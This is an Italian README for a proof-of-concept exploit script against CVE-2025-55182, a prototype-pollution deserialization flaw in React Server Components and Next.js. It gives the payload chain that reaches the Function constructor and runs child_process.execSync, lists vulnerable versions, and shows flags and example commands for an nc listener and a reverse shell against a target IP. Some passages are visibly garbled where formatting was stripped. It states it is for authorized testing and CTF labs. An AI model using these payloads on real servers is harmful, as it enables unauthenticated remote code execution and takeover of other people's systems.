
Proof-of-concept exploit per CVE-2025-55182/66478, una deserializzazione RCE dei React Server Components, che consegna una reverse shell tramite una richiesta multipart appositamente costruita.
Proof-of-concept per CVE-2025-55182 — soprannominata pubblicamente
"React2Shell" — una vulnerabilità di prototype pollution lato server
nella deserializzazione delle Server Actions dei React Server Components
(react-server-dom-webpack / -parcel / -turbopack), che Next.js
ha tracciato con l'ID CVE-2025-66478 (respinta da NVD come duplicato,
ma comunque l'identificatore comunemente usato quando si discute
dell'impatto del bug specificamente su Next.js).
Una singola richiesta HTTP multipart appositamente costruita inquina
Object.prototype e percorre la catena dei prototipi per raggiungere il
costruttore Function, consentendo a un attaccante non autenticato di
eseguire codice Node.js arbitrario nel processo del server — CVSS
10/10.
Causa principale. Il deserializzatore delle risposte alle azioni RSC
(requireModule) risolve i percorsi degli oggetti inviati dal client
(es. "$1:__proto__:then") senza verificare che la chiave di destinazione
non sia una chiave riservata/pericolosa come __proto__. Impostare
__proto__ su un oggetto semplice inquina Object.prototype stesso,
quindi ogni oggetto creato successivamente eredita la proprietà
controllata dall'attaccante.
Catena di sfruttamento.
then → "$1:__proto__:then" — raggiunge la catena dei prototipi._response._formData.get → "$1:constructor:constructor" — percorre
dal prototipo inquinato fino al costruttore Function._response._prefix — stringa controllata dall'attaccante, inserita
nel codice che viene eseguito quando il server tenta di risolvere il
fittizio "thenable" (un oggetto simile a una falsa Promise). Questo
PoC la imposta a
process.mainModule.require('child_process').execSync('<cmd>').0, 1) in una
POST alla root dell'app con un header Next-Action, che instrada
la richiesta direttamente nel gestore vulnerabile delle Server Actions.Versioni interessate (secondo il report di Datadog):
| Libreria | Vulnerabile | Corretta |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
Next.js è interessato nelle versioni 15.x, 16.x e 14.3.0-canary.77+ quando si utilizza l'App Router. Corretto in 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 e 16.0.7.
Solo per test di sicurezza autorizzati e uso didattico (es. laboratori CTF/HTB, infrastruttura propria o incarichi con autorizzazione scritta). Non eseguirlo contro sistemi che non possiedi o per cui non hai il permesso esplicito di testare.
curlbashnc -lvnp <porta>) a
meno che non si fornisca un comando personalizzato con -cbusybox nc (o adattare -c a qualunque
utility shell disponibile sul target) affinché il comando di reverse
shell predefinito funzionichmod +x exploit.sh
./exploit.sh -t <target> -L <porta_locale> [opzioni]
| Flag | Obbligatorio | Descrizione |
|---|---|---|
-t, --target | sì | Host/IP del target che esegue l'app Next.js vulnerabile |
-L, --lport | sì* | Porta locale a cui è associato il tuo listener |
-p, --port | no | Porta del target (predefinita: 3000) |
-l, --lhost | no | Il tuo IP per il callback (predefinito: rilevato automaticamente) |
-i, --iface | no | Interfaccia da cui rilevare automaticamente --lhost |
-c, --command | no | Comando personalizzato da eseguire sul target (sostituisce la reverse shell predefinita) |
--timeout | no | Timeout della richiesta curl in secondi (predefinito: 3) |
-v, --verbose | no | Stampa i dettagli di richiesta/risposta |
-h, --help | no | Mostra l'aiuto |
* non richiesto se si fornisce -c/--command in alternativa.
# 1) avvia un listener
rlwrap nc -lvnp 9090
# 2) attiva l'exploit
./exploit.sh -t 10.129.245.214 -L 9090